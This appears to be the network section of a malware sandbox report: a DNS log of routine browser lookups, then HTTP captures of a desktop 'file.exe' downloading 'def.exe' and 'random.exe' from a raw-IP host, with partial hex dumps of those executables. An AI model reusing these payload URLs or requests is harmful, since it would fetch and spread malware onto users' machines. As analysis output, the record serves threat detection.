Oct 30, 2024 21:56:42.164725065 CET	1.1.1.1	192.168.2.5	0x2bf4	No error (0)	youtube.com		142.250.185.206	A (IP address)	IN (0x0001)	false
Oct 30, 2024 21:56:42.175175905 CET	1.1.1.1	192.168.2.5	0xf164	No error (0)	youtube.com		142.250.74.206	A (IP address)	IN (0x0001)	false
Oct 30, 2024 21:56:42.184803963 CET	1.1.1.1	192.168.2.5	0xad8a	No error (0)	youtube.com			28	IN (0x0001)	false
Oct 30, 2024 21:56:43.352498055 CET	1.1.1.1	192.168.2.5	0x7a74	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 30, 2024 21:56:43.352498055 CET	1.1.1.1	192.168.2.5	0x7a74	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Oct 30, 2024 21:56:43.415604115 CET	1.1.1.1	192.168.2.5	0x8c3f	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Oct 30, 2024 21:56:43.437886953 CET	1.1.1.1	192.168.2.5	0x4f37	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net			28	IN (0x0001)	false
Oct 30, 2024 21:56:44.965197086 CET	1.1.1.1	192.168.2.5	0x106f	No error (0)	example.org		93.184.215.14	A (IP address)	IN (0x0001)	false
Oct 30, 2024 21:56:44.980963945 CET	1.1.1.1	192.168.2.5	0x30b7	No error (0)	ipv4only.arpa		192.0.0.171	A (IP address)	IN (0x0001)	false
Oct 30, 2024 21:56:44.980963945 CET	1.1.1.1	192.168.2.5	0x30b7	No error (0)	ipv4only.arpa		192.0.0.170	A (IP address)	IN (0x0001)	false
Oct 30, 2024 21:56:45.408750057 CET	1.1.1.1	192.168.2.5	0x5a8a	No error (0)	balrog-aus5.r53-2.services.mozilla.com	prod.balrog.prod.cloudops.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 30, 2024 21:56:45.408750057 CET	1.1.1.1	192.168.2.5	0x5a8a	No error (0)	prod.balrog.prod.cloudops.mozgcp.net		35.244.181.201	A (IP address)	IN (0x0001)	false
Oct 30, 2024 21:56:45.408782959 CET	1.1.1.1	192.168.2.5	0xc024	No error (0)	contile.services.mozilla.com		34.117.188.166	A (IP address)	IN (0x0001)	false
Oct 30, 2024 21:56:45.410401106 CET	1.1.1.1	192.168.2.5	0x6568	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 30, 2024 21:56:45.410401106 CET	1.1.1.1	192.168.2.5	0x6568	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Oct 30, 2024 21:56:45.440548897 CET	1.1.1.1	192.168.2.5	0x5578	No error (0)	contile.services.mozilla.com		34.117.188.166	A (IP address)	IN (0x0001)	false
Oct 30, 2024 21:56:45.440596104 CET	1.1.1.1	192.168.2.5	0x1f63	No error (0)	prod.balrog.prod.cloudops.mozgcp.net		35.244.181.201	A (IP address)	IN (0x0001)	false
Oct 30, 2024 21:56:45.460546970 CET	1.1.1.1	192.168.2.5	0xd1c2	No error (0)	spocs.getpocket.com	prod.ads.prod.webservices.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 30, 2024 21:56:45.460546970 CET	1.1.1.1	192.168.2.5	0xd1c2	No error (0)	prod.ads.prod.webservices.mozgcp.net		34.117.188.166	A (IP address)	IN (0x0001)	false
Oct 30, 2024 21:56:45.487586021 CET	1.1.1.1	192.168.2.5	0x61b7	No error (0)	prod.ads.prod.webservices.mozgcp.net		34.117.188.166	A (IP address)	IN (0x0001)	false
Oct 30, 2024 21:56:49.179210901 CET	1.1.1.1	192.168.2.5	0x8d89	No error (0)	content-signature-2.cdn.mozilla.net	content-signature-chains.prod.autograph.services.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 30, 2024 21:56:49.179210901 CET	1.1.1.1	192.168.2.5	0x8d89	No error (0)	content-signature-chains.prod.autograph.services.mozaws.net	prod.content-signature-chains.prod.webservices.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 30, 2024 21:56:49.179210901 CET	1.1.1.1	192.168.2.5	0x8d89	No error (0)	prod.content-signature-chains.prod.webservices.mozgcp.net		34.160.144.191	A (IP address)	IN (0x0001)	false
Oct 30, 2024 21:56:49.211379051 CET	1.1.1.1	192.168.2.5	0xc310	No error (0)	shavar.services.mozilla.com	shavar.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 30, 2024 21:56:49.212790012 CET	1.1.1.1	192.168.2.5	0x1778	No error (0)	prod.content-signature-chains.prod.webservices.mozgcp.net		34.160.144.191	A (IP address)	IN (0x0001)	false
Oct 30, 2024 21:56:49.228741884 CET	1.1.1.1	192.168.2.5	0xfc5	No error (0)	prod.content-signature-chains.prod.webservices.mozgcp.net			28	IN (0x0001)	false
Oct 30, 2024 21:57:02.390378952 CET	1.1.1.1	192.168.2.5	0xa833	No error (0)	prod.classify-client.prod.webservices.mozgcp.net		35.190.72.216	A (IP address)	IN (0x0001)	false
Oct 30, 2024 21:57:02.694304943 CET	1.1.1.1	192.168.2.5	0xcde2	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 30, 2024 21:57:02.694304943 CET	1.1.1.1	192.168.2.5	0xcde2	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Oct 30, 2024 21:57:03.178725958 CET	1.1.1.1	192.168.2.5	0xdc5f	No error (0)	push.services.mozilla.com		34.107.243.93	A (IP address)	IN (0x0001)	false
Oct 30, 2024 21:57:03.192610025 CET	1.1.1.1	192.168.2.5	0x3d3a	No error (0)	push.services.mozilla.com		34.107.243.93	A (IP address)	IN (0x0001)	false
Oct 30, 2024 21:57:03.354759932 CET	1.1.1.1	192.168.2.5	0x3748	No error (0)	balrog-aus5.r53-2.services.mozilla.com	prod.balrog.prod.cloudops.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 30, 2024 21:57:03.354759932 CET	1.1.1.1	192.168.2.5	0x3748	No error (0)	prod.balrog.prod.cloudops.mozgcp.net		35.244.181.201	A (IP address)	IN (0x0001)	false
Oct 30, 2024 21:57:03.834367037 CET	1.1.1.1	192.168.2.5	0x1973	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 30, 2024 21:57:03.834367037 CET	1.1.1.1	192.168.2.5	0x1973	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Oct 30, 2024 21:57:03.839353085 CET	1.1.1.1	192.168.2.5	0xddef	No error (0)	telemetry-incoming.r53-2.services.mozilla.com		34.120.208.123	A (IP address)	IN (0x0001)	false
Oct 30, 2024 21:57:03.839469910 CET	1.1.1.1	192.168.2.5	0xed64	No error (0)	firefox.settings.services.mozilla.com	prod.remote-settings.prod.webservices.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 30, 2024 21:57:03.839469910 CET	1.1.1.1	192.168.2.5	0xed64	No error (0)	prod.remote-settings.prod.webservices.mozgcp.net		34.149.100.209	A (IP address)	IN (0x0001)	false
Oct 30, 2024 21:57:03.897017956 CET	1.1.1.1	192.168.2.5	0x621b	No error (0)	telemetry-incoming.r53-2.services.mozilla.com		34.120.208.123	A (IP address)	IN (0x0001)	false
Oct 30, 2024 21:57:03.897066116 CET	1.1.1.1	192.168.2.5	0xfe69	No error (0)	prod.remote-settings.prod.webservices.mozgcp.net		34.149.100.209	A (IP address)	IN (0x0001)	false
Oct 30, 2024 21:57:04.573688984 CET	1.1.1.1	192.168.2.5	0xa6b2	No error (0)	telemetry-incoming.r53-2.services.mozilla.com		34.120.208.123	A (IP address)	IN (0x0001)	false
Oct 30, 2024 21:57:06.199042082 CET	1.1.1.1	192.168.2.5	0x7bf2	No error (0)	www.facebook.com	star-mini.c10r.facebook.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 30, 2024 21:57:06.199042082 CET	1.1.1.1	192.168.2.5	0x7bf2	No error (0)	star-mini.c10r.facebook.com		157.240.252.35	A (IP address)	IN (0x0001)	false
Oct 30, 2024 21:57:06.199522018 CET	1.1.1.1	192.168.2.5	0x4efa	No error (0)	www.youtube.com	youtube-ui.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 30, 2024 21:57:06.199522018 CET	1.1.1.1	192.168.2.5	0x4efa	No error (0)	youtube-ui.l.google.com		216.58.212.142	A (IP address)	IN (0x0001)	false
Oct 30, 2024 21:57:06.199522018 CET	1.1.1.1	192.168.2.5	0x4efa	No error (0)	youtube-ui.l.google.com		216.58.206.78	A (IP address)	IN (0x0001)	false
Oct 30, 2024 21:57:06.199522018 CET	1.1.1.1	192.168.2.5	0x4efa	No error (0)	youtube-ui.l.google.com		172.217.16.142	A (IP address)	IN (0x0001)	false
Oct 30, 2024 21:57:06.199522018 CET	1.1.1.1	192.168.2.5	0x4efa	No error (0)	youtube-ui.l.google.com		142.250.185.110	A (IP address)	IN (0x0001)	false
Oct 30, 2024 21:57:06.199522018 CET	1.1.1.1	192.168.2.5	0x4efa	No error (0)	youtube-ui.l.google.com		172.217.18.14	A (IP address)	IN (0x0001)	false
Oct 30, 2024 21:57:06.199522018 CET	1.1.1.1	192.168.2.5	0x4efa	No error (0)	youtube-ui.l.google.com		142.250.186.78	A (IP address)	IN (0x0001)	false
Oct 30, 2024 21:57:06.199522018 CET	1.1.1.1	192.168.2.5	0x4efa	No error (0)	youtube-ui.l.google.com		142.250.184.238	A (IP address)	IN (0x0001)	false
Oct 30, 2024 21:57:06.199522018 CET	1.1.1.1	192.168.2.5	0x4efa	No error (0)	youtube-ui.l.google.com		142.250.184.206	A (IP address)	IN (0x0001)	false
Oct 30, 2024 21:57:06.199522018 CET	1.1.1.1	192.168.2.5	0x4efa	No error (0)	youtube-ui.l.google.com		172.217.18.110	A (IP address)	IN (0x0001)	false
Oct 30, 2024 21:57:06.199522018 CET	1.1.1.1	192.168.2.5	0x4efa	No error (0)	youtube-ui.l.google.com		142.250.186.110	A (IP address)	IN (0x0001)	false
Oct 30, 2024 21:57:06.199522018 CET	1.1.1.1	192.168.2.5	0x4efa	No error (0)	youtube-ui.l.google.com		142.250.185.78	A (IP address)	IN (0x0001)	false
Oct 30, 2024 21:57:06.199522018 CET	1.1.1.1	192.168.2.5	0x4efa	No error (0)	youtube-ui.l.google.com		142.250.186.46	A (IP address)	IN (0x0001)	false
Oct 30, 2024 21:57:06.199522018 CET	1.1.1.1	192.168.2.5	0x4efa	No error (0)	youtube-ui.l.google.com		142.250.181.238	A (IP address)	IN (0x0001)	false
Oct 30, 2024 21:57:06.199522018 CET	1.1.1.1	192.168.2.5	0x4efa	No error (0)	youtube-ui.l.google.com		142.250.186.142	A (IP address)	IN (0x0001)	false
Oct 30, 2024 21:57:06.199522018 CET	1.1.1.1	192.168.2.5	0x4efa	No error (0)	youtube-ui.l.google.com		172.217.16.206	A (IP address)	IN (0x0001)	false
Oct 30, 2024 21:57:06.199522018 CET	1.1.1.1	192.168.2.5	0x4efa	No error (0)	youtube-ui.l.google.com		142.250.186.174	A (IP address)	IN (0x0001)	false
Oct 30, 2024 21:57:06.200356007 CET	1.1.1.1	192.168.2.5	0x882b	No error (0)	www.wikipedia.org	dyna.wikimedia.org		CNAME (Canonical name)	IN (0x0001)	false
Oct 30, 2024 21:57:06.200356007 CET	1.1.1.1	192.168.2.5	0x882b	No error (0)	dyna.wikimedia.org		185.15.59.224	A (IP address)	IN (0x0001)	false
Oct 30, 2024 21:57:06.208264112 CET	1.1.1.1	192.168.2.5	0x9df4	No error (0)	star-mini.c10r.facebook.com		157.240.252.35	A (IP address)	IN (0x0001)	false
Oct 30, 2024 21:57:06.211201906 CET	1.1.1.1	192.168.2.5	0x3410	No error (0)	youtube-ui.l.google.com		142.250.185.110	A (IP address)	IN (0x0001)	false
Oct 30, 2024 21:57:06.211201906 CET	1.1.1.1	192.168.2.5	0x3410	No error (0)	youtube-ui.l.google.com		142.250.186.174	A (IP address)	IN (0x0001)	false
Oct 30, 2024 21:57:06.211201906 CET	1.1.1.1	192.168.2.5	0x3410	No error (0)	youtube-ui.l.google.com		142.250.184.238	A (IP address)	IN (0x0001)	false
Oct 30, 2024 21:57:06.211201906 CET	1.1.1.1	192.168.2.5	0x3410	No error (0)	youtube-ui.l.google.com		216.58.212.174	A (IP address)	IN (0x0001)	false
Oct 30, 2024 21:57:06.211201906 CET	1.1.1.1	192.168.2.5	0x3410	No error (0)	youtube-ui.l.google.com		142.250.181.238	A (IP address)	IN (0x0001)	false
Oct 30, 2024 21:57:06.211201906 CET	1.1.1.1	192.168.2.5	0x3410	No error (0)	youtube-ui.l.google.com		216.58.206.78	A (IP address)	IN (0x0001)	false
Oct 30, 2024 21:57:06.211201906 CET	1.1.1.1	192.168.2.5	0x3410	No error (0)	youtube-ui.l.google.com		142.250.185.238	A (IP address)	IN (0x0001)	false
Oct 30, 2024 21:57:06.211201906 CET	1.1.1.1	192.168.2.5	0x3410	No error (0)	youtube-ui.l.google.com		142.250.185.206	A (IP address)	IN (0x0001)	false
Oct 30, 2024 21:57:06.211201906 CET	1.1.1.1	192.168.2.5	0x3410	No error (0)	youtube-ui.l.google.com		142.250.185.174	A (IP address)	IN (0x0001)	false
Oct 30, 2024 21:57:06.211201906 CET	1.1.1.1	192.168.2.5	0x3410	No error (0)	youtube-ui.l.google.com		142.250.185.142	A (IP address)	IN (0x0001)	false
Oct 30, 2024 21:57:06.211201906 CET	1.1.1.1	192.168.2.5	0x3410	No error (0)	youtube-ui.l.google.com		172.217.23.110	A (IP address)	IN (0x0001)	false
Oct 30, 2024 21:57:06.211201906 CET	1.1.1.1	192.168.2.5	0x3410	No error (0)	youtube-ui.l.google.com		172.217.18.110	A (IP address)	IN (0x0001)	false
Oct 30, 2024 21:57:06.211201906 CET	1.1.1.1	192.168.2.5	0x3410	No error (0)	youtube-ui.l.google.com		142.250.185.78	A (IP address)	IN (0x0001)	false
Oct 30, 2024 21:57:06.211201906 CET	1.1.1.1	192.168.2.5	0x3410	No error (0)	youtube-ui.l.google.com		142.250.186.110	A (IP address)	IN (0x0001)	false
Oct 30, 2024 21:57:06.211201906 CET	1.1.1.1	192.168.2.5	0x3410	No error (0)	youtube-ui.l.google.com		172.217.16.206	A (IP address)	IN (0x0001)	false
Oct 30, 2024 21:57:06.211201906 CET	1.1.1.1	192.168.2.5	0x3410	No error (0)	youtube-ui.l.google.com		216.58.206.46	A (IP address)	IN (0x0001)	false
Oct 30, 2024 21:57:06.212498903 CET	1.1.1.1	192.168.2.5	0x5efc	No error (0)	dyna.wikimedia.org		185.15.59.224	A (IP address)	IN (0x0001)	false
Oct 30, 2024 21:57:06.236319065 CET	1.1.1.1	192.168.2.5	0x609a	No error (0)	star-mini.c10r.facebook.com			28	IN (0x0001)	false
Oct 30, 2024 21:57:06.244405985 CET	1.1.1.1	192.168.2.5	0x5efc	No error (0)	dyna.wikimedia.org		185.15.59.224	A (IP address)	IN (0x0001)	false
Oct 30, 2024 21:57:06.244724989 CET	1.1.1.1	192.168.2.5	0x483e	No error (0)	youtube-ui.l.google.com			28	IN (0x0001)	false
Oct 30, 2024 21:57:06.244724989 CET	1.1.1.1	192.168.2.5	0x483e	No error (0)	youtube-ui.l.google.com			28	IN (0x0001)	false
Oct 30, 2024 21:57:06.244724989 CET	1.1.1.1	192.168.2.5	0x483e	No error (0)	youtube-ui.l.google.com			28	IN (0x0001)	false
Oct 30, 2024 21:57:06.244724989 CET	1.1.1.1	192.168.2.5	0x483e	No error (0)	youtube-ui.l.google.com			28	IN (0x0001)	false
Oct 30, 2024 21:57:06.245959997 CET	1.1.1.1	192.168.2.5	0xe60c	No error (0)	dyna.wikimedia.org			28	IN (0x0001)	false
Oct 30, 2024 21:57:06.259990931 CET	1.1.1.1	192.168.2.5	0xb4d7	No error (0)	www.reddit.com	reddit.map.fastly.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 30, 2024 21:57:06.259990931 CET	1.1.1.1	192.168.2.5	0xb4d7	No error (0)	reddit.map.fastly.net		151.101.1.140	A (IP address)	IN (0x0001)	false
Oct 30, 2024 21:57:06.259990931 CET	1.1.1.1	192.168.2.5	0xb4d7	No error (0)	reddit.map.fastly.net		151.101.129.140	A (IP address)	IN (0x0001)	false
Oct 30, 2024 21:57:06.259990931 CET	1.1.1.1	192.168.2.5	0xb4d7	No error (0)	reddit.map.fastly.net		151.101.193.140	A (IP address)	IN (0x0001)	false
Oct 30, 2024 21:57:06.259990931 CET	1.1.1.1	192.168.2.5	0xb4d7	No error (0)	reddit.map.fastly.net		151.101.65.140	A (IP address)	IN (0x0001)	false
Oct 30, 2024 21:57:06.260057926 CET	1.1.1.1	192.168.2.5	0x95c0	No error (0)	twitter.com		104.244.42.129	A (IP address)	IN (0x0001)	false
Oct 30, 2024 21:57:06.276129961 CET	1.1.1.1	192.168.2.5	0xee81	No error (0)	twitter.com		104.244.42.193	A (IP address)	IN (0x0001)	false
Oct 30, 2024 21:57:06.276140928 CET	1.1.1.1	192.168.2.5	0x8d62	No error (0)	reddit.map.fastly.net		151.101.193.140	A (IP address)	IN (0x0001)	false
Oct 30, 2024 21:57:06.276140928 CET	1.1.1.1	192.168.2.5	0x8d62	No error (0)	reddit.map.fastly.net		151.101.65.140	A (IP address)	IN (0x0001)	false
Oct 30, 2024 21:57:06.276140928 CET	1.1.1.1	192.168.2.5	0x8d62	No error (0)	reddit.map.fastly.net		151.101.1.140	A (IP address)	IN (0x0001)	false
Oct 30, 2024 21:57:06.276140928 CET	1.1.1.1	192.168.2.5	0x8d62	No error (0)	reddit.map.fastly.net		151.101.129.140	A (IP address)	IN (0x0001)	false
Oct 30, 2024 21:57:06.606695890 CET	1.1.1.1	192.168.2.5	0x7baa	No error (0)	support.mozilla.org	prod.sumo.prod.webservices.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 30, 2024 21:57:06.606695890 CET	1.1.1.1	192.168.2.5	0x7baa	No error (0)	prod.sumo.prod.webservices.mozgcp.net	us-west1.prod.sumo.prod.webservices.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 30, 2024 21:57:06.606695890 CET	1.1.1.1	192.168.2.5	0x7baa	No error (0)	us-west1.prod.sumo.prod.webservices.mozgcp.net		34.149.128.2	A (IP address)	IN (0x0001)	false
Oct 30, 2024 21:57:06.616743088 CET	1.1.1.1	192.168.2.5	0x5861	No error (0)	us-west1.prod.sumo.prod.webservices.mozgcp.net		34.149.128.2	A (IP address)	IN (0x0001)	false
Oct 30, 2024 21:57:29.230129004 CET	1.1.1.1	192.168.2.5	0x5257	No error (0)	youtube.com			28	IN (0x0001)	false
Oct 30, 2024 21:57:29.313875914 CET	1.1.1.1	192.168.2.5	0xbd1e	No error (0)	balrog-aus5.r53-2.services.mozilla.com	prod.balrog.prod.cloudops.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 30, 2024 21:57:29.313875914 CET	1.1.1.1	192.168.2.5	0xbd1e	No error (0)	prod.balrog.prod.cloudops.mozgcp.net		35.244.181.201	A (IP address)	IN (0x0001)	false
Oct 30, 2024 21:57:29.343662024 CET	1.1.1.1	192.168.2.5	0xbd1e	No error (0)	balrog-aus5.r53-2.services.mozilla.com	prod.balrog.prod.cloudops.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 30, 2024 21:57:29.343662024 CET	1.1.1.1	192.168.2.5	0xbd1e	No error (0)	prod.balrog.prod.cloudops.mozgcp.net		35.244.181.201	A (IP address)	IN (0x0001)	false
Oct 30, 2024 21:57:29.364355087 CET	1.1.1.1	192.168.2.5	0xb92	No error (0)	prod.balrog.prod.cloudops.mozgcp.net		35.244.181.201	A (IP address)	IN (0x0001)	false
Oct 30, 2024 21:57:29.367484093 CET	1.1.1.1	192.168.2.5	0xb92	No error (0)	prod.balrog.prod.cloudops.mozgcp.net		35.244.181.201	A (IP address)	IN (0x0001)	false
Oct 30, 2024 21:57:29.444931984 CET	1.1.1.1	192.168.2.5	0xa384	No error (0)	push.services.mozilla.com		34.107.243.93	A (IP address)	IN (0x0001)	false
Oct 30, 2024 21:57:29.511591911 CET	1.1.1.1	192.168.2.5	0x2b67	No error (0)	push.services.mozilla.com		34.107.243.93	A (IP address)	IN (0x0001)	false
Oct 30, 2024 21:57:29.511631012 CET	1.1.1.1	192.168.2.5	0x9075	No error (0)	balrog-aus5.r53-2.services.mozilla.com	prod.balrog.prod.cloudops.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 30, 2024 21:57:29.511631012 CET	1.1.1.1	192.168.2.5	0x9075	No error (0)	prod.balrog.prod.cloudops.mozgcp.net		35.244.181.201	A (IP address)	IN (0x0001)	false

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49712	185.215.113.16	80	744	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 21:55:19.518620014 CET	200	OUT	GET /off/def.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Oct 30, 2024 21:55:20.421515942 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 30 Oct 2024 20:55:20 GMT Content-Type: application/octet-stream Content-Length: 2837504 Last-Modified: Wed, 30 Oct 2024 20:43:26 GMT Connection: keep-alive ETag: "67229a6e-2b4c00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 c0 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 00 2c 00 00 04 00 00 9c 83 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@z!L!This program cannot be run in DOS mode.$PELP(,e"0$+ `@ ,+`Ui` @ @.rsrc`2@.idata 8@xkeovjkc+:@pxadkpqa +&+@.taggant@+"+@
Oct 30, 2024 21:55:20.421530008 CET	112	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 30, 2024 21:55:20.421607971 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 30, 2024 21:55:20.421621084 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 30, 2024 21:55:20.421637058 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 30, 2024 21:55:20.421658039 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 30, 2024 21:55:20.421669960 CET	848	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 30, 2024 21:55:20.421684027 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 30, 2024 21:55:20.421695948 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: Ftspnzfw!yyY\|,^,1oh_Vzul#*v+,q{X8{R86VUmTSy
Oct 30, 2024 21:55:20.421710968 CET	424	IN	Data Raw: 48 2c 7e b4 f9 e0 af 9c c8 b5 52 a5 85 5f 14 bd 86 e8 70 6c c1 e5 da 92 b8 00 8f 52 b7 ce a8 8e b4 b3 74 0d e0 bd 75 a6 17 c5 00 e7 ce f4 d5 f8 2c 36 76 0c cd 14 75 9a e7 fd 8b f5 32 0d c0 14 db ea bb 92 bc 12 f1 ea 76 c1 7c 42 af 83 4a d1 46 58 Data Ascii: H,~R_plRtu,6vu2v\|BJFXI\|9bHv\R8~\|,%>[43x-,,2I49BrM%a]Ev9u+MqwTy,LBHyiKpf4N
Oct 30, 2024 21:55:20.427571058 CET	1236	IN	Data Raw: e0 dd 63 9b 84 3e 92 8a d2 e1 0a 0b d9 c5 2e ff 2f f1 78 a3 c6 63 04 b7 0b 6c 79 b3 a8 78 b4 bb 08 f4 9d cb 4e d1 13 a2 69 c6 be da b6 14 13 8f 07 bd 48 d2 0f 45 f6 25 18 49 ee 75 41 09 e7 a1 4b 16 76 3f b2 f1 35 8f 62 fc 97 0b cf cd 6d 32 d6 44 Data Ascii: c>./xclyxNiHE%IuAKv?5bm2Dqw:}B<mNt*oQ6tByB4Yqojxf){8(9-CiqBuv)I8)
Oct 30, 2024 21:55:26.646646976 CET	204	OUT	GET /mine/random.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Oct 30, 2024 21:55:26.924006939 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 30 Oct 2024 20:55:26 GMT Content-Type: application/octet-stream Content-Length: 1911296 Last-Modified: Wed, 30 Oct 2024 20:53:56 GMT Connection: keep-alive ETag: "67229ce4-1d2a00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 